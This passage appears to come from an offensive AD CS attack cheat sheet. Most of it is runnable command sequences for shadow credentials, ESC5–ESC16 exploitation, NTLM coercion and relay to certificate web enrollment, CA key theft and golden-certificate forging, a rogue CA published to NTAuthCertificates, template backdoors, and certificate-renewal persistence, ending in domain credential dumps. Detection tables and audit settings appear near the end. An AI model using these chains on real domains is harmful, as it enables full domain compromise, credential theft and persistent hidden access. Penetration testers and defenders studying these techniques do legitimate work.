-domain domain.local \
-dc-ip 192.168.1.10
# Convert PFX to PEM (for other tools)
openssl pkcs12 -in domain-CA-NAME.pfx -out ca.pem -nodes -password pass:
# Extract CA cert only
openssl pkcs12 -in domain-CA-NAME.pfx -clcerts -nokeys -out ca.crt -nodes
# Extract CA private key only
openssl pkcs12 -in domain-CA-NAME.pfx -nocerts -out ca.key -nodes
# Sign arbitrary cert with CA key (manual openssl)
openssl x509 -req \
-in user.csr \
-CA ca.crt -CAkey ca.key \
-CAcreateserial \
-days 365 \
-extfile san.ext \
-out user.crt
# Shadow Credentials: add a certificate-based credential to an account's
# msDS-KeyCredentialLink attribute (requires WriteProperty on that attribute)
# Auto mode: add key, authenticate, get NT hash, output pfx
certipy shadow auto \
-u '[email protected]' -p 'Password1' \
-account 'targetuser' \
-dc-ip 192.168.1.10
# Output: targetuser.pfx + NT hash
# Manual: add key credential only
certipy shadow add \
-u '[email protected]' -p 'Password1' \
-account 'targetuser' \
-dc-ip 192.168.1.10
# Output: targetuser.pfx, device-id for cleanup
# Authenticate with the shadow credential cert
certipy auth -pfx targetuser.pfx -dc-ip 192.168.1.10
# Cleanup: remove the injected key credential
certipy shadow remove \
-u '[email protected]' -p 'Password1' \
-account 'targetuser' \
-device-id 'GUID-from-add-output' \
-dc-ip 192.168.1.10
# List existing key credentials on account
certipy shadow list \
-u '[email protected]' -p 'Password1' \
-account 'targetuser' \
-dc-ip 192.168.1.10
# pywhisker: alternative shadow credentials tool
pip install pywhisker
# Add shadow credential
pywhisker -d domain.local -u attacker -p Password1 \
--target targetuser \
--action add \
--dc-ip 192.168.1.10
# Output: deviceID + pfx file path + pfx password
# Get TGT using PKINITtools
python3 gettgtpkinit.py \
-cert-pfx targetuser.pfx \
-pfx-pass 'generated_password' \
domain.local/targetuser targetuser.ccache
# Recover NT hash from TGT
export KRB5CCNAME=targetuser.ccache
python3 getnthash.py \
-key <AS-REP encryption key> \
domain.local/targetuser
# Create machine account for relay attacks (requires MAQ > 0, default is 10)
certipy account create \
-u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 \
-user 'FAKEMACHINE$' \
-pass 'Password1!'
# Machine accounts can enroll in computer templates
# Useful when you need a machine account for ESC8/ESC11 relay setups
# Check MachineAccountQuota
nxc ldap DC_IP -u user -p pass -M maq
# Delete machine account (cleanup)
certipy account delete \
-u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 \
-user 'FAKEMACHINE$'
| Tool | Protocol | Command Example |
|---|---|---|
| MS-EFSR | python3 PetitPotam.py -u user -p pass ATTACKER DC_IP |
|
| Multi | coercer coerce -l ATTACKER -t TARGET -d domain -u user -p pass |
|
| MS-RPRN | python3 SpoolSample.py DC_IP ATTACKER_IP |
|
| MS-DFSNM | python3 dfscoerce.py -u user -p pass ATTACKER DC_IP |
|
| MS-FSRVP | python3 shadowcoerce.py -u user -p pass ATTACKER DC_IP |
# PKINITtools by dirkjanm - PKINIT and U2U attacks
git clone https://github.com/dirkjanm/PKINITtools
pip install -r PKINITtools/requirements.txt
# gettgtpkinit.py: request TGT using certificate (alternative to certipy auth)
python3 PKINITtools/gettgtpkinit.py \
-cert-pfx administrator.pfx \
domain.local/administrator \
administrator.ccache
# Or with PEM cert+key:
python3 PKINITtools/gettgtpkinit.py \
-cert-pem administrator.crt \
-key-pem administrator.key \
domain.local/administrator \
administrator.ccache
# getnthash.py: recover NT hash from TGT via U2U
export KRB5CCNAME=administrator.ccache
python3 PKINITtools/getnthash.py \
-key <AS-REP encryption key printed by gettgtpkinit> \
domain.local/administrator
# gets4uticket.py: S4U2Self for service ticket without password
python3 PKINITtools/gets4uticket.py \
kerberos+ccache://domain.local\\administrator:[email protected] \
cifs/[email protected] \
administrator_cifs.ccache
# Impacket's built-in PKINIT (included in modern impacket)
impacket-gettgtpkinit \
-cert-pfx administrator.pfx \
domain.local/administrator \
administrator.ccache
# With explicit DC
impacket-gettgtpkinit \
-cert-pfx administrator.pfx \
-dc-ip 192.168.1.10 \
domain.local/administrator \
administrator.ccache
# Certipy cert conversion
certipy cert -pfx user.pfx # show info
certipy cert -pfx user.pfx -nokey -out user.crt # extract cert only
certipy cert -pfx user.pfx -nocert -out user.key # extract key only
# OpenSSL conversions
openssl pkcs12 -in user.pfx -out user.pem -nodes # PFX -> PEM (all)
openssl pkcs12 -in user.pfx -clcerts -nokeys -out user.crt -nodes
openssl pkcs12 -in user.pfx -nocerts -out user.key -nodes
openssl x509 -in user.crt -text -noout # inspect cert
openssl x509 -in user.crt -noout -fingerprint -sha1 # thumbprint
# Create PFX from PEM cert+key (for tools expecting PFX)
openssl pkcs12 -export \
-in user.crt -inkey user.key \
-out user.pfx -passout pass:
ESC5 covers write access to PKI AD objects (CA object, NTAuthCertificates, CertificationAuthority). With write access to these objects you can escalate to full PKI control - add your CA, modify trust anchors, or push arbitrary certificates into NTAuth.
# Enumerate PKI object ACLs
certipy find -u [email protected] -p pass -dc-ip DC_IP -vulnerable
# If you have write access to PKI objects:
# - Modify CA object properties
# - Add attacker-controlled CA to NTAuthCertificates
# - Combined with ESC7 for full CA takeover
# Golden Certificate if PKI objects writable
certipy ca -backup -u [email protected] -hashes :HASH -ca CORP-CA
certipy forge -ca-pfx CORP-CA.pfx -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip DC_IP
ESC12 requires admin shell access on the CA server. The CA private key is stored in DPAPI or the CSP. With it, you can forge certificates for any user indefinitely (Golden Certificate).
# If you have admin on the CA server:
# Method 1: certipy ca -backup (extracts CA key as PFX)
certipy ca -backup -ca CORP-CA -u [email protected] -p pass
# Method 2: DPAPI extraction on the CA server
# The CA key is stored under:
# C:\ProgramData\Microsoft\Crypto\Keys\ (CSP)
# C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\ (CNG)
# Forge certificate for any user
certipy forge -ca-pfx CORP-CA.pfx -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip DC_IP
ESC14 (explicit certificate mapping) allows an attacker with write access to a target's altSecurityIdentities attribute to map any certificate to that account. Combined with ESC9/ESC10 for implicit mapping abuse.
# Requires: GenericWrite on target account's altSecurityIdentities
# Explicit mapping - set altSecurityIdentities to map your cert
# Use with certipy shadow or pywhisker for key credential link
# Implicit mapping (ESC9/ESC10 variant)
certipy shadow auto -username [email protected] -p pass -account target
# Reset target UPN, request cert, authenticate
certipy account update -username [email protected] -password pass \
-user target -upn administrator
certipy req -u [email protected] -hashes :NTHash -ca CORP-CA -template User
certipy account update -username [email protected] -password pass \
-user target -upn [email protected]
certipy auth -pfx administrator.pfx -domain domain.local
ESC15 abuses version 1 certificate templates with the enrollee flag. Using the --application-policies flag in certipy (PR 228), you can request certificates with arbitrary application policies, enabling enrollment agent abuse or client authentication on templates not explicitly designed for it.
# Method 1: Request cert with Certificate Request Agent policy
# (turns any v1 template with enrollee flag into an enrollment agent cert)
certipy req -u [email protected] -p pass -target CA_SERVER \
-template 'VulnV1Template' -ca CORP-CA \
--application-policies 'Certificate Request Agent'
# Then use the enrollment agent cert to request on behalf of admin
certipy req -u [email protected] -p pass -target CA_SERVER \
-template 'AnotherTemplate' -ca CORP-CA \
-on-behalf-of 'domain\administrator' -pfx agent.pfx
# Method 2: Request cert with Client Authentication policy
# (enables PKINIT auth on templates that don't normally allow it)
certipy req -u [email protected] -p pass -target CA_SERVER \
-template 'VulnV1Template' -ca CORP-CA \
-upn [email protected] \
--application-policies 'Client Authentication'
# Authenticate (Schannel only for method 2 in some cases)
certipy auth -pfx administrator.pfx -dc-ip DC_IP
ESC16 is essentially "ESC9 by default for the entire CA". The CA registry contains an explicit DisableExtensionList entry for 1.3.6.1.4.1.311.25.2 (szOID_NTDS_CA_SECURITY_EXT), so EVERY certificate the CA issues lacks the SID security binding extension - regardless of template flags. Combined with weak DC binding enforcement (StrongCertificateBindingEnforcement = 0 or 1), any UPN/dNSHostName-based mapping can be hijacked by an attacker with GenericWrite on a victim account.
Vulnerable conditions:
1. CA HKLM\SYSTEM\CCS\Services\CertSvc\Configuration\<CA>\PolicyModules\...\DisableExtensionList
contains "1.3.6.1.4.1.311.25.2"
(set via: certutil -setreg policy\DisableExtensionList +"1.3.6.1.4.1.311.25.2")
2. Attacker has enroll permission on at least one client-auth template (e.g. User, Machine)
3. Attacker has GenericWrite (or equivalent) over a victim principal
4. DC StrongCertificateBindingEnforcement != 2 (Full Enforcement)
5. Certipy >= 4.8.2 required for ESC16 detection / exploitation
# Certipy (>= 4.8.2) flags ESC16 in CA properties
certipy find -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -enabled -stdout
# Look for:
# "Disabled Extensions: 1.3.6.1.4.1.311.25.2"
# "[!] Vulnerabilities: ESC16"
Certify.exe enum-cas --hide-admins
# "Disabled Extensions: <unknown> (1.3.6.1.4.1.311.25.2)"
# Verify directly on CA host
certutil -getreg policy\DisableExtensionList
# Step 1: Save victim's current UPN (for cleanup)
certipy account read -u '[email protected]' -p 'Password1' \
-user 'victim' -dc-ip 192.168.1.10
# Step 2: Spoof victim UPN to target Administrator
certipy account update -u '[email protected]' -p 'Password1' \
-user 'victim' -upn 'administrator' \
-dc-ip 192.168.1.10
# Step 3: Enroll on ANY standard template (no NO_SECURITY_EXTENSION needed,
# the CA strips the SID extension globally)
certipy req -u '[email protected]' -hashes ':NThashOfVictim' \
-ca 'CORP-CA' -target ca.domain.local \
-template 'User' -dc-ip 192.168.1.10
# Output: administrator.pfx (no szOID_NTDS_CA_SECURITY_EXT extension)
# Step 4: Restore victim UPN
certipy account update -u '[email protected]' -p 'Password1' \
-user 'victim' -upn '[email protected]' \
-dc-ip 192.168.1.10
# Step 5: PKINIT auth - DC falls back to UPN mapping (no SID to validate)
certipy auth -pfx administrator.pfx \
-domain domain.local -username administrator \
-dc-ip 192.168.1.10
# -> administrator NT hash + TGT
CT_FLAG_NO_SECURITY_EXTENSION, the CA omits the SID extension on every cert it issues. This makes detection trivial server-side but means any attacker with GenericWrite + enroll on any template can pivot.StrongCertificateBindingEnforcement = 0) for guaranteed exploitability: even templates that would normally embed the SID extension fail to do so on this CA.dNSHostName instead of UPN.certutil -setreg policy\DisableExtensionList -"1.3.6.1.4.1.311.25.2" then restart certsvc.ADCSESC16 edge in recent collector versions. SpecterOps blog post: "Exploiting ESC16 in Active Directory Certificate Services".Request a long-lived client-auth certificate under a compromised user account and store the PFX offline. The certificate remains valid for the entire Validity Period of the template (default 1 year on User, often 2 years on custom templates) and CONTINUES to authenticate via PKINIT even after the account password is rotated, the user is forced to change their password, or the account is partially recovered. PKINIT does not consult the password hash, only the cert chain + SID/UPN binding, so password resets do not invalidate it.
# Pre-requisite: Authenticated Users typically have enroll on the default User template
certipy find -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -enabled \
| grep -A2 -i 'User\|client.*auth'
# Linux - Certipy
certipy req -u '[email protected]' -p 'Password1' \
-ca 'CORP-CA' -target ca.domain.local \
-template 'User' -out user_persist
# Output: user_persist.pfx (valid 1 year)
# Months later, after password reset, re-authenticate
certipy auth -pfx user_persist.pfx -dc-ip 192.168.1.10
# -> still works, returns current NT hash via UnPAC-the-Hash
# Windows - Certify + Rubeus
Certify.exe request /ca:CA01.corp.local\CORP-CA /template:User
# Save the base64 PFX
# Later authentication
Rubeus.exe asktgt /user:user /certificate:<BASE64_PFX> /getcredentials /ptt
# /getcredentials triggers UnPAC-the-Hash -> current NT hash
OPSEC: the cert request is logged on the CA (certsrv.msc -> Issued Certificates, EID 4886/4887) but is rarely correlated with later auth. Blue teams should monitor enrollment volume per principal and alert on user certs with > 1 year validity.
The same idea as PERSIST1 but applied to a machine account you control - either one you created via ms-DS-MachineAccountQuota (default 10 per user), or one you have already compromised. Machine-context certificates are typically valid 2 to 5 years and can be used to PKINIT as the machine, then S4U2self impersonate any user via the machine TGT.
# Pre-requisite: SYSTEM/admin on the machine OR known machine creds (NT hash)
certipy req -u '[email protected]' -hashes ':MachineNTHash' \
-ca 'CORP-CA' -target ca.domain.local \
-template 'Machine' -out machine_persist
# Output: machine_persist.pfx (often 2-5 yrs)
# Later: PKINIT as the machine, then S4U2self -> any user
certipy auth -pfx machine_persist.pfx -dc-ip 192.168.1.10
# -> PWNED$ NT hash + TGT
# Use Rubeus / Impacket s4u for impersonation:
getST.py -spn 'cifs/target.domain.local' -impersonate Administrator \
-hashes ':MachineNTHash' 'domain.local/PWNED$'
# Windows - run as SYSTEM on the victim machine
Certify.exe request /ca:CA01.corp.local\CORP-CA /template:Machine /machine
Rubeus.exe asktgt /user:WS01$ /certificate:<BASE64_PFX> /ptt
Why machine persistence is powerful:
Machine template lifetime is significantly longer than UserInside the template's Renewal Period (default 6 weeks before expiration), AD CS allows a renewal request that is signed by the existing private key rather than requiring authentication with the current account password. This means the validity can be extended indefinitely without ever knowing the user's current password, even after the account has been completely "recovered" by IT.
# Windows - Certify (the only currently supported renewal client)
Certify.exe request-renew \
/ca:CA01.corp.local\CORP-CA \
/onbehalfof:domain\victim \
/pfx:user_persist.pfx \
/password:Pass1
# Output: renewed_user.pfx with a fresh validity period
# Automate via scheduled task well inside the renewal window:
schtasks /create /tn "CertRenew" /tr "C:\tools\Certify.exe request-renew ..." \
/sc weekly /d MON /st 03:00 /ru SYSTEM
# Linux: no direct certipy renew flag at the time of writing.
# Workarounds:
# - Use Certify.exe via wine / Windows host
# - Manually craft an ICertRequest::Submit CMC renewal request
# - Use openssl to generate a renewal CMC and submit via certreq
Combine with PERSIST1/PERSIST2 for indefinite persistence across years. Detection: monitor renewal requests for stale principals + unusually long aggregate validity per requester.
This is the canonical "Golden Certificate". With privileged access on the Enterprise CA host (or any account with Backup Operators / local admin / ManageCA + cert export rights), extract the CA private key and forge arbitrary certificates offline. Forged certs are signed by a legitimate CA cert that is already in NTAuthCertificates, so they authenticate as anyone via PKINIT and survive every password reset, account disable, and AD object delete - because cert validation never queries AD for the principal's current password.
See also the existing detailed Forge Certificates (Golden Certificate) section below for the full Certipy / ForgeCert / Mimikatz workflow. DPERSIST1 == Golden Certificate.
# Quick recap (full workflow in the Forge Certificates section):
# 1. Extract CA private key (admin on CA host or ManageCA + key export)
certipy ca -backup -u '[email protected]' -p 'Password1' \
-ca 'CORP-CA' -dc-ip 192.168.1.10
# Output: CORP-CA.pfx
# Alternatives on CA host:
# Certify.exe manage-self --dump-certs (admin on CA)
# mimikatz: crypto::certificates /export /systemstore:LOCAL_MACHINE\My
# certutil.exe -backupkey -p Password1 C:\Temp\CAbackup
# 2. Forge a cert as anyone, offline
certipy forge -ca-pfx CORP-CA.pfx \
-upn '[email protected]' \
-subject 'CN=Administrator,CN=Users,DC=domain,DC=local'
# Output: administrator_forged.pfx
# Or with ForgeCert
ForgeCert.exe \
--CaCertPath CORP-CA.pfx --CaCertPassword '' \
--Subject "CN=user,CN=Users,DC=domain,DC=local" \
--SubjectAltName '[email protected]' \
--NewCertPath forged.pfx --NewCertPassword Pass1
# 3. Authenticate
certipy auth -pfx administrator_forged.pfx -dc-ip 192.168.1.10
Detection: forged certs never appear in the CA issued-cert store, so the only reliable detection is to correlate every PKINIT 4768 (TGT request via certificate) against the CA's Issued Certificates store and alert on serial numbers that are not present. Mitigation: revoke and rotate the CA cert, clear NTAuthCertificates, re-issue every active cert.
Instead of stealing the legitimate CA private key, generate your own self-signed CA certificate locally and publish it into the NTAuthCertificates AD container. Once trusted, any cert you sign with your rogue CA is accepted forest-wide for PKINIT. Because the rogue CA is not registered as an Enterprise CA, none of its issued certs are ever logged in the production CA database - this is significantly stealthier than DPERSIST1.
# Pre-requisite: Enterprise Admin OR write access to
# CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain
# (i.e. ESC5 with a write-permission scope on the right object)
# 1. Generate rogue CA cert + key locally
openssl req -x509 -newkey rsa:4096 -nodes \
-keyout rogue.key -out rogue.crt \
-days 3650 -subj "/CN=Rogue CA"
# 2. Publish to NTAuthCertificates (forest-wide trusted for client auth)
# Run from a domain-joined Windows host with EA / target write rights:
certutil -dspublish -f rogue.crt NTAuthCA
# 3. Optional - also publish to Root CA store for chain validation
certutil -dspublish -f rogue.crt RootCA
# 4. Issue a cert from the rogue CA targeting any user
openssl req -new -newkey rsa:2048 -nodes \
-keyout target.key -out target.csr \
-subj "/CN=administrator"
cat > rogue.conf <<'EOF'
[ ca ]
default_ca = CA_default
[ CA_default ]
dir = .
new_certs_dir = .
database = index.txt
serial = serial
private_key = rogue.key
certificate = rogue.crt
default_md = sha256
policy = policy_any
x509_extensions = usr_ext
[ policy_any ]
commonName = supplied
[ usr_ext ]
subjectAltName = otherName:1.3.6.1.4.1.311.20.2.3;UTF8:[email protected]
extendedKeyUsage = clientAuth
EOF
touch index.txt && echo 1000 > serial
openssl ca -batch -config rogue.conf -in target.csr -out target.crt
# 5. Convert to PFX and authenticate via PKINIT
openssl pkcs12 -export -in target.crt -inkey target.key \
-out target.pfx -passout pass:
certipy auth -pfx target.pfx -dc-ip 192.168.1.10
Detection (blue team): monitor Add-DistinguishedName / Directory Service Changes events on CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,... and on the pkiCA, cACertificate, and userCertificate attributes. Any modification to the NTAuthCertificates object outside of CA installation/rotation should trigger a critical alert. Also enumerate certutil -viewstore -enterprise NTAuth periodically for unknown CAs.
The "leave a door open" persistence pattern: weaken an existing certificate template (or create a new one) so that ESC1 (or another ESC) is permanently exploitable by any low-privileged user. The backdoor blends into normal AD CS misconfigurations and persists until the template DACL/flags are explicitly re-hardened. Far easier to deploy than DPERSIST1/2 and very hard to spot in environments with heavy template tech debt.
# Pre-requisite: WriteProperty/WriteDACL/Owner on the target template (ESC4)
# 1. Save the original config so you can restore it if caught
certipy template -u '[email protected]' -p 'Password1' \
-template 'WebServer' -save-old -dc-ip 192.168.1.10
# Output: WebServer.json
# 2. Apply Certipy's default vulnerable preset:
# - ENROLLEE_SUPPLIES_SUBJECT
# - Client Authentication EKU
# - Manager Approval off
# - Authorized Signatures = 0
# - Enroll = Authenticated Users
certipy template -u '[email protected]' -p 'Password1' \
-template 'WebServer' -dc-ip 192.168.1.10
# WebServer is now permanently ESC1-vulnerable
# 3. (When caught / cleanup) restore original config from JSON
certipy template -u '[email protected]' -p 'Password1' \
-template 'WebServer' -configuration WebServer.json \
-dc-ip 192.168.1.10
# Manual variant (PowerShell, no Certipy)
Set-ADObject \
-Identity "CN=WebServer,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" \
-Replace @{
"msPKI-Certificate-Name-Flag" = 1;
"pKIExtendedKeyUsage" = "1.3.6.1.5.5.7.3.2";
"msPKI-RA-Signature" = 0;
"msPKI-Enrollment-Flag" = 0
}
Variants of DPERSIST3:
EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA itself (ESC6 backdoor)Enroll on a sensitive template, then add yourself / a sleeper account to that group laterDetection: any change to a Certificate Template DACL or AD object should trigger an alert (Directory Service Changes audit on CN=Certificate Templates,...). Run certipy find -vulnerable regularly and diff the output.
# 1. Find vulnerable ESC1 template
certipy find -vulnerable -u [email protected] -p pass -dc-ip DC_IP
# 2. Request cert with admin UPN (ENROLLEE_SUPPLIES_SUBJECT)
certipy req -u [email protected] -p pass -ca CORP-CA \
-template VulnTemplate -upn [email protected]
# 3. Authenticate with forged certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# 4. Use NT hash for domain dump
impacket-secretsdump domain.local/administrator@DC_IP -hashes :NThash
# 1. Confirm web enrollment is active
certipy find -u [email protected] -p pass -dc-ip DC_IP
# Look for: Web Enrollment: Enabled
# 2. Start relay listener targeting CA web enrollment
certipy relay -ca http://CA/certsrv/certfnsh.asp -template DomainController
# 3. Coerce DC authentication (in another terminal)
python3 PetitPotam.py ATTACKER_IP DC_IP
# 4. Relay captures DC NTLM auth -> certipy issues DC cert (dc.pfx)
# 5. Authenticate with DC certificate
certipy auth -pfx dc.pfx -dc-ip DC_IP
# 6. Full domain dump with DC NT hash
impacket-secretsdump domain.local/DC\$@DC_IP -hashes :NThash
# 1. Requires: GenericWrite on proxy account + weak cert binding (no strong mapping)
# 2. Get proxy user NT hash via shadow credentials
certipy shadow auto -account proxyuser -u [email protected] -p pass
# 3. Change proxy user UPN to administrator
certipy account update -user proxyuser -upn administrator -u [email protected] -p pass
# 4. Request cert as proxy user (UPN = administrator)
certipy req -u [email protected] -hashes :NTHash -ca CORP-CA -template User
# 5. Revert proxy user UPN
certipy account update -user proxyuser -upn [email protected] -u [email protected] -p pass
# 6. Authenticate with cert (resolves to administrator via UPN)
certipy auth -pfx administrator.pfx -domain domain.local
# 1. Shadow credentials on DC machine account (requires GenericWrite on DC$)
certipy shadow auto -account DC$ -u [email protected] -p pass
# 2. Auth with DC cert -> get DC NT hash
certipy auth -pfx dc.pfx -dc-ip DC_IP
# 3. Dump CA server admin hash / domain backup key
impacket-secretsdump domain.local/DC\$@DC_IP -hashes :NThash
# 4. Backup CA private key
certipy ca -backup -ca domain-CA -u [email protected] -hashes :AdminHash
# 5. Forge certificate for krbtgt (Golden Cert)
certipy forge -ca-pfx domain-CA.pfx -upn [email protected] -subject "CN=krbtgt"
# 6. Persistent domain access via forged cert
certipy auth -pfx krbtgt_forged.pfx -dc-ip DC_IP
| ESC | Key Event IDs | Detection Logic |
|---|---|---|
| 4886, 4887 | SAN in issued cert != requester account UPN | |
| 4886, 4887 | on-behalf-of field present; requestor != subject |
|
| 5136 (DS Object Modified) | Template object modified (nTSecurityDescriptor, msPKI-* attributes) | |
| 4899, 4900 | CA configuration changed; new CA officer added | |
| 4624 (Type 3), 4886, 4887 | NTLM logon on CA from DC machine account; rapid cert issuance | |
| 4738, 4662, 4768 | UPN modification + cert issuance + PKINIT TGT for modified account | |
| 4768 | TGT PAC contains unexpected group SIDs vs actual group membership | |
| 4662 | msDS-KeyCredentialLink attribute write on user/computer object | |
| 4768 | PKINIT auth with cert not in CA issuance logs; off-hours admin auth |
# Enable CA auditing (run on CA server)
certutil -setreg CA\AuditFilter 127
net stop certsvc && net start certsvc
# AuditFilter flags:
# 1 = Certificate Services started/stopped
# 2 = Configuration changes
# 4 = Certificate requests (-> Event 4886)
# 8 = Certificate issuance (-> Event 4887)
# 16 = Certificate revocation
# 32 = CRL publication
# 64 = Certificate template changes
# 127 = All events
# Enable object access auditing for DS objects (GPO)
# Computer Config -> Windows Settings -> Security Settings ->
# Advanced Audit Policy -> DS Access -> Audit Directory Service Changes = Success, Failure
# Monitor with Splunk/Sigma rule example (Event 4887 SAN mismatch):
# index=wineventlog EventCode=4887
# | eval san=mvindex(split(Certificate_Information, "Subject Alternative Name="), 1)
# | where san != Requester_Name